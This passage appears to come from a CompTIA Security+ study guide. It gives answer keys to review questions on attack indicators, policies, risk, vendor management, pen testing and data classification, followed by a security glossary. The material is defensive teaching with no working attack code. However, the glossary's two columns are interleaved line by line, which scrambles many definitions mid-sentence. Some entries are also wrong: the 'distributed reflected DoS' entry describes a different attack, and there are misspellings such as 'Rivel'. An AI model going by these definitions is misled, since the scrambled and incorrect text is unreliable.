cryptojacker.

6. Which attack framework provides descriptions of specific TTPs?

MITRE’s ATT&CK framework

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Review Activity: Network Attack Indicators

69

1. What is an amplification attack?

Where the attacker spoofs the victim’s IP in requests to several reflecting servers (often DNS or NTP servers).
The attacker crafts the request so that the reflecting servers respond to the victim’s IP with a large message,
overwhelming the victim’s bandwidth.

2. Why are many network DoS attacks distributed?

Most attacks depend on overwhelming the victim. This typically requires a large number of hosts, or bots.

3. Users in a particular wireless network segment are complaining that websites are frequently
slow to load or unavailable or filled with advertising. On investigation, each host in the segment
is set to use an unauthorized DNS resolver. Which attack type is the likely cause for this?

The hosts are likely to be receiving their configuration from a malicious Dynamic Host Configuration Protocol
(DHCP) server. This is likely to have been achieved via an on-path attack, such as a rogue access point or evil
twin access point.

4. The security log on a domain controller has recorded numerous unsuccessful attempts to read
the NTDS.DIT file by three different client workstation computer accounts. What specific type of
attack is this a precursor for?

NTDS.DIT stores credentials for an Active Directory network. Obtaining a copy of it allows a threat actor to
perpetrate offline password attacks. An offline password attack could use brute force, dictionary, or hybrid
cracking techniques.

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70
Review Activity: Application Attack Indicators

71

1. How does a replay attack work in the context of session hijacking?

The attacker captures some data, such as a cookie, used to log on or start a session legitimately. The attacker
then resends the captured data to re-enable the connection.

2. You are reviewing access logs on a web server and notice repeated requests for URLs containing
the strings %3C and %3E. Is this an event that should be investigated further, and why?

Those strings represent percent encoding (for HTML tag delimiters < and >). This could be an injection attack
so should be investigated.

3. You are improving back-end database security to ensure that requests deriving from front-end
web servers are authenticated. What general class of attack is this designed to mitigate?

Server-side request forgery (SSRF) causes a public server to make an arbitrary request to a back-end server.
This is made much harder if the threat actor has to defeat an authentication or authorization mechanism
between the web server and the database server.

4. A technician is seeing high volumes of 403 Forbidden errors in a log. What type of network
appliance or server is producing these logs?

403 Forbidden is an HTTP status code, so most likely a web server. Another possibility is a web proxy or
gateway.

Review Activity: Policies, Standards,

and Procedures
72

73

1. This policy outlines the acceptable ways in which network and computer systems may be used.

An acceptable use policy defines what constitutes acceptable behavior by users.

2. Describe the difference between change management and configuration management.

Change management describes the policies and procedures dictating how changes can be made in the
environment. Configuration management describes the technical tools used to manage, enforce, and deploy
changes to software and endpoints.

3. What are a few examples of the types of capabilities that may be included in a password
standard?

Approved hashing algorithms, password salting methods, secure password transmission methods, password
reset methods, password manager requirements.

Solutions

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74
Review Activity: Change Management

75

1. What is the purpose of a backout plan?

A backout plan is a contingency plan for reversing changes and returning systems and software to their
original state if the implementation plan fails.

2. How are standard operating procedures related to change management?

SOPs ensure that changes are implemented consistently and effectively.

3. How do system dependencies impact change management?

System dependencies describe the interconnection of systems and software. Dependencies may cause an
otherwise simple change to have severe and widespread impacts attributed to the fact that a single changed
component may break functionality in other systems.

76
Review Activity: Automation and Orchestration

1. How are APIs important to automation and orchestration?

APIs are the enabling feature allowing different platforms and tools to interact with each other. APIs allow
security tools to work together and perform rule-based actions to perform tasks previously handled by
security analysts.

2. What is operator fatigue?

Operator fatigue refers to the mental exhaustion experienced by cybersecurity professionals due to their
work’s continuous, high-intensity nature.

3. Identify a few of the potential issues associated with automation and orchestration.

Complexity, cost, single point of failure, technical debt, and ongoing support burdens

Review Activity: Risk Management Processes

and Concepts
78

79

1. What metric(s) could be used to make a quantitative calculation of risk due to a specific threat
1.

to a specific function or asset?

Single Loss Expectancy (SLE) or Annual Loss Expectancy (ALE). ALE is SLE multiplied by ARO (annual rate of
occurrence).

2. What type of risk mitigation option is offered by purchasing insurance?

2.

Risk transference

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3. What is a risk register?

3.

A document highlighting the results of risk assessments in an easily comprehensible format (such as a heat
map or "traffic light" grid). Its purpose is for department managers and technicians to understand risks
associated with the workflows that they manage.

80
Review Activity: Vendor Management Concepts

81

1. This describes a contractual provision that grants an organization the authority to conduct
audits or assessments of vendor operational practices, information systems, and security
controls.

A right-to-audit clause. The right-to-audit clause supports vendor assessment practices by allowing
organizations to validate and verify the vendor’s compliance with contractual obligations, security
standards, and regulatory requirements.

2. 2. Describe the concept of conflict of interest in relationship with vendor management practices.

Answers will vary. A conflict of interest arises when an individual or organization has competing interests
or obligations that could compromise their ability to act objectively, impartially, or in the best interest of
another party.

3. This legal contract is a nonbinding agreement that outlines the intentions, shared goals, and
3.

general terms of cooperation between parties.

Memorandum of understanding (MOU). MOUs serve as a preliminary step to establish a common

understanding before proceeding with a more formal agreement.

4. This legal document establishes clear guidelines for the vendor’s behavior, activities, and access
4.

to sensitive information.

Rules of engagement. These rules define the parameters and expectations for vendor relationships. These
rules outline the responsibilities, communication methods, reporting mechanisms, security requirements,
and compliance obligations that vendors must adhere to.

82
Review Activity: Penetration Testing Concepts

83

1. A website owner wants to evaluate whether the site security mitigates risks from criminal
syndicates, assuming no risk of insider threat. What type of penetration testing engagement
will most closely simulate this adversary capability and resources?

A threat actor has no privileged information about the website configuration or security controls. This is
simulated in an unknown environment penetration test engagement.

2. Why should an Internet service provider (ISP) be informed before pen testing on a hosted
2.

website takes place?

ISPs monitor their networks for suspicious traffic and may block the test attempts. The pen test may
also involve equipment owned and operated by the ISP and not authorized to be included as part of the
assessment.

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3. This type of assessment allows individuals or organizations to evaluate their performance,

3.

practices, and adherence to established criteria against predetermined metrics and measures.

Self-assessments. Self-assessments help identify strengths, weaknesses, and areas for improvement,
enabling individuals or organizations to take proactive measures to enhance their effectiveness and
outcomes.

4. 4. Why are third-party assessments important?

Answers will vary. The importance of independent third-party audits lies in their ability to offer an external
perspective, free from any conflicts of interest or bias.

Review Activity: Data Classification and

Compliance
84

85

1. What range of information classifications could you implement in a data labeling project?

One set of tags could indicate the degree of confidentiality (public, confidential/secret, or critical/top secret).
Another tagging schema could distinguish proprietary from private/sensitive personal data.

2. 2. What is meant by privacy information?

Privacy information is any data that could be used to identify, contact, or locate an individual.

3. You are reviewing security and privacy issues relating to a membership database for a
3.

hobbyist site with a global audience. The site currently collects account details with no further
information. What should be added to be in compliance with data protection regulations?

The site should add a privacy notice explaining the purposes the personal information is collected and used
for. The form should provide a means for the user to give explicit and informed consent to this privacy
notice.

4. You are preparing a briefing paper for customers on the organizational consequences of data
4.

and privacy breaches. You have completed sections for reputation damage, identity theft, and
IP theft. Following the CompTIA Security+ objectives, what other section should you add?

Data and privacy breaches can lead legislators or regulators to impose fines. In some cases, these fines can
be substantial (calculated as a percentage of turnover).

5. 5. This state means that the data is in some sort of persistent storage media.

Data at rest. In this state, it is usually possible to encrypt the data, using techniques such as whole disk
encryption, database encryption, and file- or folder-level encryption.

6. 6. This method of data protection is often associated with payment processing systems.

Tokenization. Tokenization replaces sensitive data (such as a credit card number) with a randomly generated
token while securely storing the original data in a separate location.

7. You take an incident report from a user trying to access a REPORT.docx file on a SharePoint site.
The file has been replaced by a REPORT.docx.QUARANTINE.txt file containing a policy violation
notice. What is the most likely cause?

This is typical of a data loss prevention (DLP) policy replacing a file involved in a policy violation with a
tombstone file.

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86
Review Activity: Importance of Personnel Policies

87

1. Your company has been the victim of several successful phishing attempts over the past year.
Attackers managed to steal credentials from these attacks and use them to compromise key
systems. What vulnerability contributed to the success of these social engineers, and why?

A lack of proper user training directly contributes to the success of social engineering attempts. Attackers
can easily trick users when those users are unfamiliar with the characteristics and ramifications of such
deception.

2. Why should an organization design role-based training programs?

2.

Employees have different levels of technical knowledge and different work priorities. This means that a "one
size fits all" approach to security training is impractical.

3. You are planning a security awareness program for a manufacturer. Is a pamphlet likely to be
3.

sufficient in terms of resources?

Using a diversity of training techniques will boost engagement and retention. Practical tasks, such as
phishing simulations, will give attendees more direct experience. Workshops or computer-based training will
make it easier to assess whether the training has been completed.

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 Glossary
acceptable use policy (AUP) A monitor hosts. This allows for more
policy that governs employees’ use accurate credentialed scanning, but
of company equipment and Internet consumes some host resources and is
services. ISPs may also apply AUPs to detectable by threat actors.
their customers.
ad hoc network A type of wireless
access badge An authentication network where connected devices
mechanism that allows a user to present communicate directly with each other
a smart card to operate an entry system. instead of over an established medium.
access control list (ACL) The collection address resolution protocol (ARP)
of access control entries (ACEs) that Broadcast mechanism by which the
determines which subjects (user hardware MAC address of an interface
accounts, host IP addresses, and so is matched to an IP address on a local
on) are allowed or denied access to network segment.
the object and the privileges given
advanced persistent threat (APT) An
(read-only, read/write, and so on).
attacker’s ability to obtain, maintain,
access control vestibule A secure entry and diversify access to network systems
system with two gateways, only one of using exploits and malware.
which is open at any one time.
adware Software that records
access point (AP) A device that provides information about a PC and its user.
a connection between wireless devices Adware is used to describe software that
and can connect to wired networks, the user has acknowledged can record
implementing an infrastructure mode information about their habits.
WLAN.
AES Galois Counter Mode Protocol
account lockout Policy that prevents (GCMP) A high performance mode of
access to an account under certain operation for symmetric encryption.
conditions, such as an excessive number Provides a special characteristic
of failed authentication attempts. called authenticated encryption with
associated data, or AEAD.
account policies A set of rules
governing user security information, air-gapped A type of network isolation
such as password expiration and that physically separates a host from
uniqueness, which can be set globally. other hosts or a network from all other
networks.
accounting Tracking authorized usage
of a resource or use of rights by a alert tuning The process of adjusting
subject and alerting when unauthorized detection and correlation rules to
use is detected or attempted. reduce incidence of false positives and
low-priority alerts.
acquisition/procurement Policies
and processes that ensure asset and algorithm Operations that transform
service purchases and contracts are a plaintext into a ciphertext with
fully managed, secure, use authorized cryptographic properties, also called
suppliers/vendors, and meet business a cipher. There are symmetric,
goals. asymmetric, and hash cipher
types.
active reconnaissance Penetration
testing techniques that interact with allow listing A security configuration
target systems directly. where access is denied to any entity
(software process, IP/domain, and so
active security control Detective and
on) unless the entity appears on an
preventive security controls that use
allow list.
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amplification attack A network-based arbitrary code execution A

attack where the attacker dramatically vulnerability that allows an attacker to
increases the bandwidth sent to a victim run their own code or a module that
during a DDoS attack by implementing exploits such a vulnerability.
an amplification factor.
ARP poisoning A network-based attack
analysis An incident response process where an attacker with access to the
in which indicators are assessed to target local network segment redirects
determine validity, impact, and category. an IP address to the MAC address of
a computer that is not the intended
annualized loss expectancy (ALE) The
recipient. This can be used to perform
total cost of a risk to an organization on
a variety of attacks, including DoS,
an annual basis. This is determined by
spoofing, and on-path (previously
multiplying the SLE by the annual rate of
known as man-in-the-middle).
occurrence (ARO).
artificial intelligence The science of
annualized rate of occurrence (ARO)
creating machines with the ability to
In risk calculation, an expression of the
develop problem-solving and analysis
probability/likelihood of a risk as the
strategies without significant human
number of times per year a particular
direction or intervention.
loss is expected to occur.
asset A thing of economic value.
anomalous behavior recognition
For accounting purposes, assets are
Systems that automatically detect
classified in different ways, such as
users, hosts, and services that deviate
tangible and intangible or short term
from what is expected, or systems and
and long term. Asset management
training that encourage reporting of this
means identifying each asset and
by employees.
recording its location, attributes, and
antivirus Inspecting traffic to locate and value in a database.
block viruses.
asymmetric algorithm Cipher that uses
antivirus scan (A-V) Software capable public and private keys. The keys are
of detecting and removing virus mathematically linked, using either Rivel,
infections and (in most cases) other Shamir, Adleman (RSA), or elliptic curve
types of malware, such as worms, cryptography (ECC) alogrithms, but the
Trojans, rootkits, adware, spyware, private key is not derivable from the
password crackers, network mappers, public one. An asymmetric key cannot
DoS tools, and so on. reverse the operation it performs, so the
anything as a service The concept that public key cannot decrypt what it has
most types of IT requirements can be encrypted, for example.
deployed as a cloud service model. attack surface The points at which a
appliance firewall A standalone network or application receive external
hardware device that performs only connections or inputs/outputs that are
the function of a firewall, which potential vectors to be exploited by a
is embedded into the appliance’s threat actor.
firmware. attack vector A specific path by which a
application programming interface threat actor gains unauthorized access
Methods exposed by a script or program to a system.
that allow other scripts or programs attestation Capability of an
to use it. For example, an API enables authenticator or other cryptographic
software developers to access functions module to prove that it is a root of trust
of the TCP/IP network stack under a and can provide reliable reporting to
particular operating system. prove that a device or computer is a
application virtualization A software trustworthy platform.
delivery model where the code runs on attribute-based access control An
a server and is streamed to a client. access control technique that evaluates

Glossary

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 Glossary | G-3

a set of attributes that each subject baseline configuration A collection of

possesses to determine if access should security and configuration settings that
be granted. are to be applied to a particular system
or network in the organization.
authentication A method of validating
a particular entity’s or individual’s behavior-based detection A network
unique credentials. monitoring system that detects changes
in normal operating data sequences and
authentication, authorization, and
identifies abnormal sequences.
accounting (AAA) A security concept
where a centralized platform verifies biometric authentication An
subject identification, ensures the authentication mechanism that allows
subject is assigned relevant permissions, a user to perform a biometric scan to
and then logs these actions to create an operate an entry or access system.
audit trail. Physical characteristics stored as a
digital data template can be used to
authentication header IPSec protocol
authenticate a user. Typical features
that provides authentication for the
used include facial pattern, iris, retina,
origin of transmitted data as well as
fingerprint pattern, and signature
integrity and protection against replay
recognition.
attacks.
birthday attack A type of password
authenticator A PNAC switch or router
attack that exploits weaknesses in
that activates EAPoL and passes a
the mathematical algorithms used to
supplicant’s authentication data to an
encrypt passwords, in order to take
authenticating server, such as a RADIUS
advantage of the probability of different
server.
password inputs producing the same
authorized A hacker engaged in encrypted output.
authorized penetration testing or other
blackmail Demanding payment to
security consultancy.
prevent the release of information.
authorization The process of
block list A security configuration
determining what rights and privileges a
where access is generally permitted to
particular entity has.
a software process, IP/domain, or other
availability The fundamental security subject unless it is listed as explicitly
goal of ensuring that computer prohibited.
systems operate continuously and that
blockchain A concept in which an
authorized persons can access data that
expanding list of transactional records
they need.
listed in a public ledger is secured using
backdoor A mechanism for gaining cryptography.
access to a computer that bypasses
blocked content A potential indicator
or subverts the normal method of
of malicious activity where audit logs
authentication.
show unauthorized attempts to read or
backup A security copy of production copy a file or other data.
data made to removable media, typically
bluejacking Sending an unsolicited
according to a regular schedule.
message or picture message using a
Different backup types (full, incremental,
Bluetooth connection.
or differential) balance media capacity,
time required to backup, and time bluesnarfing A wireless attack where an
required to restore. attacker gains access to unauthorized
information on a device using a
backup power generator A standby
Bluetooth connection.
power supply fueled by diesel or
propane. In the event of a power outage, bollards Sturdy vertical posts installed
a UPS must provide transitionary power, to control road traffic or designed
as a backup generator cannot be cut in to prevent ram-raiding and vehicle-
fast enough. ramming attacks.

Glossary

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 G-4 | Glossary

botnet A group of hosts or devices that call list A document listing authorized
has been infected by a control program contacts for notification and
called a bot, which enables attackers to collaboration during a security incident.
exploit the hosts to mount attacks.
canonicalization attack An attack
bring your own device (BYOD) Security method where input characters are
framework and tools to facilitate use encoded in such a way as to evade
of personally owned devices to access vulnerable input validation measures.
corporate networks and data.
capacity planning A practice which
brute force attack A type of password involves estimating the personnel,
attack where an attacker uses an storage, computer hardware, software,
application to exhaustively try every and connection infrastructure resources
possible alphanumeric combination to required over some future period of
crack encrypted passwords. time.
buffer overflow An attack in which card cloning Making a copy of a
data goes past the boundary of the contactless access card.
destination buffer and begins to corrupt
cellular Standards for implementing
adjacent memory. This can allow the
data access over cellular networks are
attacker to crash the system or execute
implemented as successive generations.
arbitrary code.
For 2G (up to about 48 Kb/s) and 3G (up
bug bounty Reward scheme operated to about 42 Mb/s), there are competing
by software and web services vendors GSM and CDMA provider networks.
for reporting vulnerabilities. Standards for 4G (up to about 90 Mb/s)
and 5G (up to about 300 Mb/s) are
business continuity (BC) A collection of
developed under converged LTE
processes that enable an organization to
standards.
maintain normal business operations in
the face of some adverse event. centralized computing architecture
A model where all data processing and
business email compromise (BEC)
storage is performed in a single location.
An impersonation attack in which the
attacker gains control of an employee’s certificate chaining A method of
account and uses it to convince other validating a certificate by tracing each
employees to perform fraudulent actions. CA that signs the certificate, up through
the hierarchy to the root CA. Also
business impact analysis (BIA)
referred to as chain of trust.
Systematic activity that identifies
organizational risks and determines certificate revocation list (CRL) A list
their effect on ongoing, mission critical of certificates that were revoked before
operations. their expiration date.
business partnership agreement certificate signing request (CSR) A
(BPA) Agreement by two companies Base64 ASCII file that a subject sends to
to work together closely, such as a CA to get a certificate.
the partner agreements that large IT
certification An asset disposal
companies set up with resellers and
technique that relies on a third party to
solution providers.
use sanitization or destruction methods
cable lock Devices can be physically for data remnant removal, and provides
secured against theft using cable ties documentary evidence that the process
and padlocks. Some systems also is complete and successful.
feature lockable faceplates, preventing
chain of custody Record of handling
access to the power switch and
evidence from collection to presentation
removable drives.
in court to disposal.
caching engine A feature of many
change control The process by which
proxy servers that enables the servers
the need for change is recorded and
to retain a copy of frequently requested
approved.
web pages.

Glossary

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 Glossary | G-5

change management The process ownership of the developer and may

through which changes to the only be used under permitted license
configuration of information systems conditions.
are implemented as part of the
cloud computing Computing
organization’s overall configuration
architecture where on-demand
management efforts.
resources provisioned with the
chief information officer (CIO) attributes of high availability, scalability,
Company officer with the primary and elasticity are billed to customers on
responsibility for management of the basis of metered utilization.
information technology assets and
cloud deployment model Classifying
procedures.
the ownership and management of a
chief security officer (CSO) Typically cloud as public, private, community, or
the job title of the person with overall hybrid.
responsibility for information assurance
cloud service model Classifying the
and systems security. This may also be
provision of cloud services and the
referred to as chief information security
limit of the cloud service provider’s
officer (CISO).
responsibility as software, platform,
chief technology officer (CTO) infrastructure, and so on.
Company officer with the primary role
cloud service provider (CSP)
of making effective use of new and
Organization providing infrastructure,
emerging computing platforms and
application, and/or storage services via
innovations.
an “as a service” subscription-based,
chmod command Linux command for cloud-centric offering.
managing file permissions.
clustering A load balancing technique
choose your own device (CYOD) An where a group of servers are configured
enterprise mobile device provisioning as a unit and work together to provide
model where employees are offered a network services.
selection of corporate devices for work
code of conduct Professional behavior
and, optionally, private use.
depends on basic ethical standards,
CIA triad Three principles of security such as honesty and fairness. Some
control and management. Also known professions may have developed codes
as the information security triad. Also of ethics to cover difficult situations;
referred to in reverse order as the AIC some businesses may also have a code
triad. of ethics to communicate the values it
expects its employees to practice.
cipher suite Lists of cryptographic
algorithms that a server and client can code signing The method of using a
use to negotiate a secure connection. digital signature to ensure the source
and integrity of programming code.
ciphertext Data that has been
enciphered and cannot be read without cold site A predetermined alternate
the cipher key. location where a network can be rebuilt
after a disaster.
clean desk policy An organizational
policy that mandates employee work collision In cryptography, the act of two
areas be free from potentially sensitive different plaintext inputs producing the
information; sensitive documents must same exact ciphertext output.
not be left out where unauthorized
command and control (C2)
personnel might see them.
Infrastructure of hosts and services with
cloning The process of quickly which attackers direct, distribute, and
duplicating a virtual machine’s control malware over botnets.
configuration when several identical
command injection Where a threat
machines are needed immediately.
actor is able to execute arbitrary shell
closed/proprietary Software code or commands on a host via a vulnerable
security research that remains in the web application.

Glossary

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 G-6 | Glossary

common name (CN) An X500 attribute information systems components are

expressing a host or username; also kept in a controlled state that meets the
used as the subject identifier for a digital organization’s requirements, including
certificate. those for security and compliance.
Common Vulnerabilities and conflict of interest When an individual
Exposures (CVE) A scheme for or organization has investments or
identifying vulnerabilities developed obligations that could compromise their
by MITRE and adopted by NIST. ability to act objectively, impartially, or in
the best interest of another party.
Common Vulnerability Scoring
System (CVSS) A risk management containerization An operating system
approach to quantifying vulnerability virtualization deployment containing
data and then taking into account the everything required to run a service,
degree of risk to different types of application, or microservice.
systems or information.
containment An incident response
community cloud A cloud that is process in which scope of affected
deployed for shared use by cooperating systems is constrained using isolation,
tenants. segmentation, and quarantine
techniques and tools.
compensating control A security
measure that takes on risk mitigation continuity of operations plan (COOP)
when a primary control fails or cannot Identifies how business processes
completely meet expectations. should deal with both minor and
disaster-level disruption by ensuring
compute Processing, memory, storage,
that there is processing redundancy
and networking resources that allow a
supporting the workflow.
host or network appliance to handle a
given workload. control plane In zero trust architecture,
functions that define policy and
computer incident response team
determine access decisions.
(CIRT) Team with responsibility for
incident response. The CIRT must have cookie A text file used to store
expertise across a number of business information about a user when they visit
domains (IT, HR, legal, and marketing, a website. Some sites use cookies to
for instance). support user sessions.
computer-based training (CBT) corporate owned, business only
Training and education programs (COBO) An enterprise mobile device
delivered using computer devices and provisioning model where the device
e-learning instructional models and is the property of the organization and
design. personal use is prohibited.
concurrent session usage A potential corporate owned, personally
indicator of malicious activity where an enabled (COPE) An enterprise mobile
account has started multiple sessions on device provisioning model where the
one or more hosts. device remains the property of the
organization, but certain personal use,
confidentiality The fundamental
such as private email, social networking,
security goal of keeping information and
and web browsing, is permitted.
communications private and protecting
them from unauthorized access. corrective control A type of security
control that acts after an incident to
configuration baseline Settings for
eliminate or minimize its impact.
services and policy configuration for
a network appliance or for a server correlation A function of log analysis
operating in a particular application that links log and state data to identify a
role (web server, mail server, file/print pattern that should be logged or alerted
server, and so on). as an event.
configuration management A process covert channel A type of attack that
through which an organization’s subverts network security systems

Glossary

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and policies to transfer data without Some frameworks are general in nature,
authorization or detection. while others are specific to industry or
technology types.
credential harvesting Social
engineering techniques for gathering dark web Resources on the Internet
valid credentials to use to gain that are distributed between
unauthorized access. anonymized nodes and protected from
general access by multiple layers of
credential replay An attack that uses a
encryption and routing.
captured authentication token to start
an unauthorized session without having dashboard A console presenting
to discover the plaintext password for selected information in an easily
an account. digestible format, such as a
visualization.
credentialed scan A scan that uses
credentials, such as usernames data acquisition In digital forensics,
and passwords, to take a deep dive the method and tools used to create a
during the vulnerability scan, which forensically sound copy of data from a
will produce more information while source device, such as system memory
auditing the network. or a hard disk.
crossover error rate A biometric data at rest Information that is
evaluation factor expressing the point primarily stored on specific media,
at which FAR and FRR meet, with a low rather than moving from one medium
value indicating better performance. to another.
cross-site request forgery (CSRF) A data breach When confidential or
malicious script hosted on the attacker’s private data is read, copied, or changed
site that can exploit a session started on without authorization. Data breach
another site in the same browser. events may have notification and
reporting requirements.
cross-site scripting (XSS) A malicious
script hosted on the attacker’s site or data classification The process of
coded in a link injected onto a trusted applying confidentiality and privacy
site designed to compromise clients labels to information.
browsing the trusted site, circumventing
data controller In privacy regulations,
the browser’s security model of trusted
the entity that determines why and how
zones.
personal data is collected, stored, and
cryptanalysis The science, art, and used.
practice of breaking codes and ciphers.
data custodian An individual who is
cryptographic primitive A single responsible for managing the system on
hash function, symmetric cipher, or which data assets are stored, including
asymmetric cipher. being responsible for enforcing access
control, encryption, and backup/
cryptography The science and practice
recovery measures.
of altering data to make it unintelligible
to unauthorized parties. data exfiltration The process by which
an attacker takes data that is stored
cryptominer Malware that hijacks
inside of a private network and moves it
computer resources to create
to an external network.
cryptocurrency.
data exposure A software vulnerability
cyber threat intelligence (CTI) The
where an attacker is able to circumvent
process of investigating, collecting,
access controls and retrieve confidential
analyzing, and disseminating
or sensitive data from the file system or
information about emerging threats and
database.
threat sources.
data historian Software that aggregates
cybersecurity framework (CSF)
and catalogs data from multiple sources
Standards, best practices, and guidelines
within an industrial control system.
for effective security risk management.

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data in transit Information that is being deception and disruption

transmitted between two hosts, such as Cybersecurity resilience tools and
over a private network or the Internet. techniques to increase the cost of attack
planning for the threat actor.
data in use Information that is present
in the volatile memory of a host, such as deduplication A technique for
system memory or cache. removing duplicate copies of repeated
data. In SIEM, the removal of redundant
data inventory List of classified data or
information provided by several
information stored or processed by a
monitored systems.
system.
defense in depth Security strategy that
data loss prevention (DLP) A software
positions the layers of diverse security
solution that detects and prevents
control categories and functions as
sensitive information from being stored
opposed to lying on perimeter controls.
on unauthorized systems or transmitted
over unauthorized networks. defensive penetration testing The
defensive team in a penetration test or
data masking A de-identification
incident response exercise.
method where generic or placeholder
labels are substituted for real data while denial of service attack (DoS) Any
preserving the structure or format of type of physical, application, or network
the original data. attack that affects the availability of a
managed resource.
data owner A senior (executive)
role with ultimate responsibility for dependencies Resources and other
maintaining the confidentiality, integrity, services that must be available and
and availability of an information running for a service to start.
asset.
deprovisioning The process of
data plane Functions that enforce removing an account, host, or
policy decisions configured in the application from the production
control plane and facilitate data environment. This requires revoking
transfers. any privileged access that had been
assigned to the object.
data processor In privacy regulations,
an entity trusted with a copy of personal destruction An asset disposal
data to perform storage and/or analysis technique that ensures that data
on behalf of the data collector. remnants are rendered physically
inaccessible and irrevocable, through
data retention The process an
degaussing, shredding, or incineration.
organization uses to maintain the
existence of and control over certain detectability A risk evaluation
data in order to comply with business parameter that defines the likelihood of
policies and/or applicable laws and a company detecting a risk occurrence
regulations. before it impacts the project, process, or
end user.
data subject An individual that is
identified by privacy data. detection An incident response process
that correlates event data to determine
database encryption Applying
whether they are indicators of an
encryption at the table, field, or record
incident.
level via a database management
system rather than via the file system. detective control A type of security
control that acts during an incident to
dd command Linux command that
identify or record that it is happening.
makes a bit-by-bit copy of an input file,
typically used for disk imaging. device placement Considerations for
positioning security controls to protect
decentralized computing architecture
network zones and individual hosts to
A model in which data processing and
implement a defense in depth strategy
storage are distributed across multiple
and to meet overall security goals.
locations or devices.

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DevSecOps A combination of software disposal/decommissioning In

development, security operations, and asset management, the policies and
systems operations, and refers to the procedures that govern the removal of
practice of integrating each discipline devices and software from production
with the others. networks, and their subsequent disposal
through sale, donation, or as waste.
dictionary attack A type of password
attack that compares encrypted distinguished name (DN) A collection
passwords against a predetermined list of attributes that define a unique
of possible password values. identifier for any given resource within
an X.500-like directory.
Diffie-Hellman (DH) A cryptographic
technique that provides secure key distributed denial-of-service (DDoS)
exchange. An attack that involves the use of
infected Internet-connected computers
digital certificate Identification and
and devices to disrupt the normal
authentication information presented
flow of traffic of a server or service
in the X.509 format and issued by a
by overwhelming the target with
certificate authority (CA) as a guarantee
traffic.
that a key pair (as identified by the public
key embedded in the certificate) is valid distributed reflected DoS (DRDoS) A
for a particular subject (user or host). malicious request to a legitimate server
is created and sent as a link to the
digital signature A message digest
victim, so that a server-side flaw causes
encrypted using the sender’s private
the malicious component to run on the
key that is appended to a message to
target’s browser.
authenticate the sender and prove
message integrity. DNS poisoning An attack where a threat
actor injects false resource records into
directive control A type of control that
a client or server cache to redirect a
enforces a rule of behavior through a
domain name to an IP address of the
policy or contract.
attacker’s choosing.
directory service A network service
DNS sinkhole A temporary DNS record
that stores identity information about
that redirects malicious traffic to a
all the objects in a particular network,
controlled IP address.
including users, groups, servers, client
computers, and printers. Document Object Model (DOM) When
attackers send malicious scripts to a
directory traversal An application
web app’s client-side implementation of
attack that allows access to commands,
JavaScript to execute their attack solely
files, and directories that may or may
on the client.
not be connected to the web document
root directory. Domain Name System Security
Extensions (DNSSEC) Security protocol
disassociation attack Spoofing frames
that provides authentication of DNS
to disconnect a wireless station to try to
data and upholds DNS data integrity.
obtain authentication data to crack.
Domain-based Message
disaster recovery (DR) A documented
Authentication, Reporting, and
and resourced plan showing actions and
Conformance (DMARC) Framework for
responsibilities to be used in response
ensuring proper application of SPF and
to critical incidents.
DKIM, utilizing a policy published as a
discretionary access control (DAC) DNS record.
An access control model where each
DomainKeys Identified Mail (DKIM)
resource is protected by an access
A cryptographic authentication
control list (ACL) managed by the
mechanism for mail utilizing a public key
resource’s owner (or owners).
published as a DNS record.
disinformation A type of attack that
downgrade attack A cryptographic
falsifies an information resource that is
attack where the attacker exploits the
normally trusted by others.
need for backward compatibility to force

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a computer system to abandon the endpoint log A target for security-

use of encrypted messages in favor of related events generated by host-based
plaintext messages. malware and intrusion detection agents.
due diligence A legal principal that enterprise authentication A wireless
a subject has used best practice or network authentication mode where the
reasonable care when setting up, access point acts as pass-through for
configuring, and maintaining a system. credentials that are verified by an AAA
server.
due process A term used in US and UK
common law to require that people only enterprise risk management
be convicted of crimes following the fair (ERM) The comprehensive process of
application of the laws of the land. evaluating, measuring, and mitigating
the many risks that pervade an
dump file A file containing data
organization.
captured from system memory.
environmental attack A physical threat
dynamic analysis Software testing that
directed against power, cooling, or fire
examines code behavior during runtime.
suppression systems.
It helps identify potential security issues,
potential performance issues, and other environmental variables In
problems. vulnerability assessment, factors or
metrics due to local network or host
e-discovery Procedures and tools to
configuration that increase or decrease
collect, preserve, and analyze digital
the base likelihood and impact risk level.
evidence.
ephemeral In cryptography, a key that
embedded system An electronic
is used within the context of a single
system that is designed to perform a
session only.
specific, dedicated function, such as
a microcontroller in a medical drip eradication An incident response
or components in a control system process in which malicious tools and
managing a water treatment plant. configurations on hosts and networks
are removed.
Encapsulating Security Payload
(ESP) IPSec sub-protocol that enables escalation In the context of support
encryption and authentication of the procedures, incident response, and
header and payload of a data packet. breach-reporting, escalation is the
process of involving expert and senior
encryption Scrambling the characters
staff to assist in problem management.
used in a message so that the message
can be seen but not understood or escrow In key management, the storage
modified unless it can be deciphered. of a backup key with a third party.
Encryption provides for a secure means
Event Viewer A Windows console
of transmitting data and authenticating
related to viewing and exporting events
users. It is also used to store data
in the Windows logging file format.
securely. Encryption uses different types
of cipher and one or more keys. The size evil twin A wireless access point that
of the key is one factor in determining deceives users into believing that it is a
the strength of the encryption product. legitimate network access point.
encryption level Target for data-at-rest exception handling An application
encryption, ranging from more granular vulnerability that is defined by how an
(file or row/record) to less granular application responds to unexpected
(volume/partition/disk or database). errors that can lead to holes in the
security of an app.
endpoint detection and response
(EDR) A software agent that collects exposure factor (EF) In risk calculation,
system data and logs for analysis by the percentage of an asset’s value that
a monitoring system to provide early would be lost during a security incident
detection of threats. or disaster scenario.

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Extensible Authentication Protocol false positive In security scanning, a

(EAP) Framework for negotiating case that is reported when it should
authentication methods that enable not be.
systems to use hardware-based
false rejection rate (FRR) A biometric
identifiers, such as fingerprint
assessment metric that measures the
scanners or smart card readers, for
number of valid subjects who are denied
authentication and to establish secure
access.
tunnels through which to submit
credentials. fault tolerance Protection against
system failure by providing extra
Extensible Authentication Protocol
(redundant) capacity. Generally, fault-
over LAN (EAPoL) A port-based network
tolerant systems identify and eliminate
access control (PNAC) mechanism that
single points of failure.
allows the use of EAP authentication
when a host connects to an Ethernet federation A process that provides a
switch. shared login capability across multiple
systems and enterprises. It essentially
eXtensible Markup Language (XML)
connects the identity management
A system for structuring documents
services of multiple systems.
so that they are human and machine
readable. Information within the fencing A security barrier designed to
document is placed within tags, which prevent unauthorized access to a site
describe how information within the perimeter.
document is structured.
file integrity monitoring (FIM) A type
extortion Demanding payment to of software that reviews system files
prevent or halt some type of attack. to ensure that they have not been
tampered with.
factors In authentication design,
different technologies for implementing File Transfer Protocol (FTP) Application
authentication, such as knowledge, protocol used to transfer files between
ownership/token, and biometric/ network hosts. Variants include S(ecure)
